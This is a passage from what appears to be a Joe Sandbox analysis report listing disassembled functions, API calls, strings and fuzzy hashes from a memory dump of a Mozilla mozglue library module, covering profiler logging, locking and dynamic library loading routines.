Part of subcall function 6CA67670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CA685B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA676A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA685B2

Part of subcall function 6CA45E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA45EDB
Part of subcall function 6CA45E90: memset.VCRUNTIME140(6CA87765,000000E5,55CCCCCC), ref: 6CA45F27
Part of subcall function 6CA45E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA45FB2

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 8658f9b07c48ac36ad3aca27298442110a1878b20183c8eaf9ce47a3ca093f91
Instruction ID: 4ffad516f5ad4e660e8a075f0135b6e4b63d57e0d3d1317e57a6d598d24d8119
Opcode Fuzzy Hash: 8658f9b07c48ac36ad3aca27298442110a1878b20183c8eaf9ce47a3ca093f91
Instruction Fuzzy Hash: E92160742007029FEB14DB66D888A5B77B9AF4530DF14482DE55BC3B41DB31E989CB51

Function 6CA31640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CA31699
VerSetConditionMask.NTDLL ref: 6CA316CB
VerSetConditionMask.NTDLL ref: 6CA316D7
VerSetConditionMask.NTDLL ref: 6CA316DE
VerSetConditionMask.NTDLL ref: 6CA316E5
VerSetConditionMask.NTDLL ref: 6CA316EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CA316F9

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 0dd9d7f467c8955a52e89a4b91521964f65c7a53e3fce15908335617b98b628c
Instruction ID: c11fafe15f4869f56b474bb76c2d35e5e4439dcd49b2798442c723b4b34dc4f1
Opcode Fuzzy Hash: 0dd9d7f467c8955a52e89a4b91521964f65c7a53e3fce15908335617b98b628c
Instruction Fuzzy Hash: A921D5B07403196BEB146AA89C45FFF73BCDF86704F048528F6499B1C0C7749D9587A1

Function 6CA6F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA5CBE8: GetCurrentProcess.KERNEL32(?,6CA231A7), ref: 6CA5CBF1
Part of subcall function 6CA5CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA231A7), ref: 6CA5CBFA

Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA34A68), ref: 6CA6945E
Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA69470
Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA69482
Part of subcall function 6CA69420: __Init_thread_footer.LIBCMT ref: 6CA6949F

GetCurrentThreadId.KERNEL32 ref: 6CA6F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CA6F598), ref: 6CA6F621

Part of subcall function 6CA694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA694EE
Part of subcall function 6CA694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA69508

GetCurrentThreadId.KERNEL32 ref: 6CA6F637
AcquireSRWLockExclusive.KERNEL32(6CAAF4B8,?,?,00000000,?,6CA6F598), ref: 6CA6F645
ReleaseSRWLockExclusive.KERNEL32(6CAAF4B8,?,?,00000000,?,6CA6F598), ref: 6CA6F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CA6F62A

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 271e25db9d290aee6100f0d69acd10cd741709a5aac414f66c41029229dba6a7
Instruction ID: e1230dbf371a67af1bb8c2835e0f2472133e38ad85a70abd628b75c4db06741c
Opcode Fuzzy Hash: 271e25db9d290aee6100f0d69acd10cd741709a5aac414f66c41029229dba6a7
Instruction Fuzzy Hash: FE11AB75201307AFC61C9F99ED48AD97779FB86358B544019E90587F01CB72AC56CBA0

Function 6CA31FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA5AB89: EnterCriticalSection.KERNEL32(6CAAE370,?,?,?,6CA234DE,6CAAF6CC,?,?,?,?,?,?,?,6CA23284), ref: 6CA5AB94
Part of subcall function 6CA5AB89: LeaveCriticalSection.KERNEL32(6CAAE370,?,6CA234DE,6CAAF6CC,?,?,?,?,?,?,?,6CA23284,?,?,6CA456F6), ref: 6CA5ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6CA31FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6CA31FFD
__Init_thread_footer.LIBCMT ref: 6CA32011
FreeLibrary.KERNEL32 ref: 6CA32059

Strings

combase.dll, xrefs: 6CA31FD9
CoCreateInstance, xrefs: 6CA31FF7

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 62417a65872a546989fbfa1d9c6c7bf0bfe9bcfc287879e80b3fc6a3d43eddbd
Instruction ID: ccc134fa26f1c73f8f003e7f2a0742d2420b262387c1f56d50f04180927090ab
Opcode Fuzzy Hash: 62417a65872a546989fbfa1d9c6c7bf0bfe9bcfc287879e80b3fc6a3d43eddbd
Instruction Fuzzy Hash: A6116D74240307AFDF2C8F94EC58E9A7B7AEB47356F04C129F91982641D7319C96CBA0

Function 6CA30EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA5AB89: EnterCriticalSection.KERNEL32(6CAAE370,?,?,?,6CA234DE,6CAAF6CC,?,?,?,?,?,?,?,6CA23284), ref: 6CA5AB94
Part of subcall function 6CA5AB89: LeaveCriticalSection.KERNEL32(6CAAE370,?,6CA234DE,6CAAF6CC,?,?,?,?,?,?,?,6CA23284,?,?,6CA456F6), ref: 6CA5ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CA5D9F0,00000000), ref: 6CA30F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CA30F3C
__Init_thread_footer.LIBCMT ref: 6CA30F50
FreeLibrary.KERNEL32(?,6CA5D9F0,00000000), ref: 6CA30F86

Strings

combase.dll, xrefs: 6CA30F18
CoInitializeEx, xrefs: 6CA30F36

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: befe13cb475e3075e151d213ee0b5eeb2e0c045609f43657464b49e7706a334a
Instruction ID: 324b6116a9bfaea7100e06c5bc36955410cde2cec50bea16e67e895b335053fb
Opcode Fuzzy Hash: befe13cb475e3075e151d213ee0b5eeb2e0c045609f43657464b49e7706a334a
Instruction Fuzzy Hash: BC118C746013579BDF1CCF94EE28A4A3BB4BB4A325B04C22DE909C2640E730A886CB65

Function 6CA6F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA34A68), ref: 6CA6945E
Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA69470
Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA69482
Part of subcall function 6CA69420: __Init_thread_footer.LIBCMT ref: 6CA6949F

GetCurrentThreadId.KERNEL32 ref: 6CA6F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA6F561

Part of subcall function 6CA694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA694EE
Part of subcall function 6CA694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA69508

GetCurrentThreadId.KERNEL32 ref: 6CA6F577
AcquireSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6F585
ReleaseSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6CA6F499
[I %d/%d] profiler_pause_sampling, xrefs: 6CA6F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CA6F56A
[I %d/%d] profiler_resume, xrefs: 6CA6F239

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 990b620fe7c797b4a2dc356019178bc9764a8ff7c38f2d0da1b8ca65454ec33e
Instruction ID: 70ac6283eb91a7ee71dffb7bc56c27c7f5d8166c4486fc51b3a22ca24010d02f
Opcode Fuzzy Hash: 990b620fe7c797b4a2dc356019178bc9764a8ff7c38f2d0da1b8ca65454ec33e
Instruction Fuzzy Hash: D0F0BB752003079FDA045BE5FD48A5D7B7DEB8525DF004119EA0583701CB318C468760

Function 6CA6F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA34A68), ref: 6CA6945E
Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA69470
Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA69482
Part of subcall function 6CA69420: __Init_thread_footer.LIBCMT ref: 6CA6949F

GetCurrentThreadId.KERNEL32 ref: 6CA6F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CA6F598), ref: 6CA6F621

Part of subcall function 6CA694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA694EE
Part of subcall function 6CA694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA69508

GetCurrentThreadId.KERNEL32 ref: 6CA6F637
AcquireSRWLockExclusive.KERNEL32(6CAAF4B8,?,?,00000000,?,6CA6F598), ref: 6CA6F645
ReleaseSRWLockExclusive.KERNEL32(6CAAF4B8,?,?,00000000,?,6CA6F598), ref: 6CA6F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CA6F62A

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 0b0db43e30be45dc322ce28f05085e8f2048a132cbab51cdc89db4cc73bfc6dc
Instruction ID: 019a1e9df6a0e90b1b38a67562de7e65336d08574181b1484126270ce46d6e58
Opcode Fuzzy Hash: 0b0db43e30be45dc322ce28f05085e8f2048a132cbab51cdc89db4cc73bfc6dc
Instruction Fuzzy Hash: 31F0B47920030BAFDA086BE5FC48A9E7B7DEB8A25DF008119EA0583B01CB3648478770

Function 6CA30E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CA30DF8), ref: 6CA30E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CA30EA1
__Init_thread_footer.LIBCMT ref: 6CA30EB5
FreeLibrary.KERNEL32 ref: 6CA30EC5

Strings

kernel32.dll, xrefs: 6CA30E7D
GetProcessMitigationPolicy, xrefs: 6CA30E9B

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 446e87a8485272a0875c1b5d9d594951d4b82717fd68811d1aa906279de106c8
Instruction ID: bab8c09100e999c7e6d367d74213ffe16889f2adfe85ac10584bd49b01bdd600
Opcode Fuzzy Hash: 446e87a8485272a0875c1b5d9d594951d4b82717fd68811d1aa906279de106c8
Instruction Fuzzy Hash: 97014F70704397CBDF1C8FD8FD24A5A33B5F746315F24952DD90582B80D770A8868B61

Function 6CA605F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CA5CFAE,?,?,?,6CA231A7), ref: 6CA605FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CA5CFAE,?,?,?,6CA231A7), ref: 6CA60616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CA231A7), ref: 6CA6061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CA231A7), ref: 6CA60627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CA6061B, 6CA60625
<jemalloc>, xrefs: 6CA605FA, 6CA6060F

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 80c61da07d1e57faeb617f1ddab91ebe3cdb50ddc9133611d495974ca372342f
Instruction ID: eada921d95df6d22be34097fcc0802e398aaae0c86e2f9a00239f16e59f82e13
Opcode Fuzzy Hash: 80c61da07d1e57faeb617f1ddab91ebe3cdb50ddc9133611d495974ca372342f
Instruction Fuzzy Hash: FBE08CE2A1111437F514225ABC86DBBB65CDBC6178F080139FD0D82301EA4AAD1E51F6

Function 6CA305F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dae257e9a38f518fe36837e9bd83927d4b532b17c829979ad77438aed5850943
Instruction ID: 8126450921060c0714ebc1eecaf888eaa4b0de1b53b20138f3261b57c5286b42
Opcode Fuzzy Hash: dae257e9a38f518fe36837e9bd83927d4b532b17c829979ad77438aed5850943
Instruction Fuzzy Hash: 52A15B70A01755CFDB28CF69C994A9AFBF1BF48304F44866ED44A97B00E770A995CF90

Function 6CA814A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA814C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA814E2
GetCurrentThreadId.KERNEL32 ref: 6CA81546
InitializeConditionVariable.KERNEL32(?), ref: 6CA815BA
free.MOZGLUE(?), ref: 6CA816B4

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 445db9d3faad5af931d6b41828a8365574317dadcaa1376cc3b02bfd98c32ad4
Instruction ID: 3c7f2e7c1e796da0f1c3a44bda52d17c7feb447b82479d53e997bbc5d48bc40a
Opcode Fuzzy Hash: 445db9d3faad5af931d6b41828a8365574317dadcaa1376cc3b02bfd98c32ad4
Instruction Fuzzy Hash: 6B610476A017059FDB258F20D980BEEB7B0BF89308F04851CED9A57711EB31E989CB91

Function 6CA79F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA79FDB
free.MOZGLUE(?,?), ref: 6CA79FF0
free.MOZGLUE(?,?), ref: 6CA7A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA7A0BE
free.MOZGLUE(?,?), ref: 6CA7A0D5
free.MOZGLUE(?,?), ref: 6CA7A0EB

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: ff6f96ac3ef9f3bf0f6bce4447fba55a52f1174566ad938a5c746d04f37d922e
Instruction ID: 5448f3185acbbaf376a00acd61c8b824d52c1bd94669f1630240d187a28bf4b2
Opcode Fuzzy Hash: ff6f96ac3ef9f3bf0f6bce4447fba55a52f1174566ad938a5c746d04f37d922e
Instruction Fuzzy Hash: 7461A1795097019FC711CF18C48055AB3F5FF88328F549669E8999B702E732E9C6CBD1

Function 6CA7DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA7DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CA7D38A,?), ref: 6CA7DC6F
free.MOZGLUE(?,?,?,?,?,6CA7D38A,?), ref: 6CA7DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CA7D38A,?), ref: 6CA7DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CA7D38A,?), ref: 6CA7DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CA7D38A,?), ref: 6CA7DD4A

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: f22a2f413dc5d2b8f570012191416ecf0dc413b875428e8e74cfbb8d814063c5
Instruction ID: 2d174a85d945fd67c072f39ed64bdac84a1208cccf5e410ae3c5fdfe2855c6da
Opcode Fuzzy Hash: f22a2f413dc5d2b8f570012191416ecf0dc413b875428e8e74cfbb8d814063c5
Instruction Fuzzy Hash: 72417CB9A00216CFCB10CFA9D98099ABBF5FF88304B554569D905A7B11D731FC44CBA0

Function 6CA66590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CA5FA80: GetCurrentThreadId.KERNEL32 ref: 6CA5FA8D
Part of subcall function 6CA5FA80: AcquireSRWLockExclusive.KERNEL32(6CAAF448), ref: 6CA5FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA66727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CA667C8

Part of subcall function 6CA74290: memcpy.VCRUNTIME140(?,?,6CA82003,6CA80AD9,?,6CA80AD9,00000000,?,6CA80AD9,?,00000004,?,6CA81A62,?,6CA82003,?), ref: 6CA742C4

Strings

data, xrefs: 6CA66593

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: a5d0e64917b288a8087b81253726c30d4d3a19e6b9fc0a6ec9fc3c781563928e
Instruction ID: 1beccdffa2a82c43a52f75887c06128f730168b6e9ce49b64f7c428f30ac99f7
Opcode Fuzzy Hash: a5d0e64917b288a8087b81253726c30d4d3a19e6b9fc0a6ec9fc3c781563928e
Instruction Fuzzy Hash: 38D1DE75A043408FD728CF29D951B9EB7E5BFC5308F14892DE589D7B90EB30A889CB52

Function 6CA5D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CA2EB57,?,?,?,?,?,?,?,?,?), ref: 6CA5D652
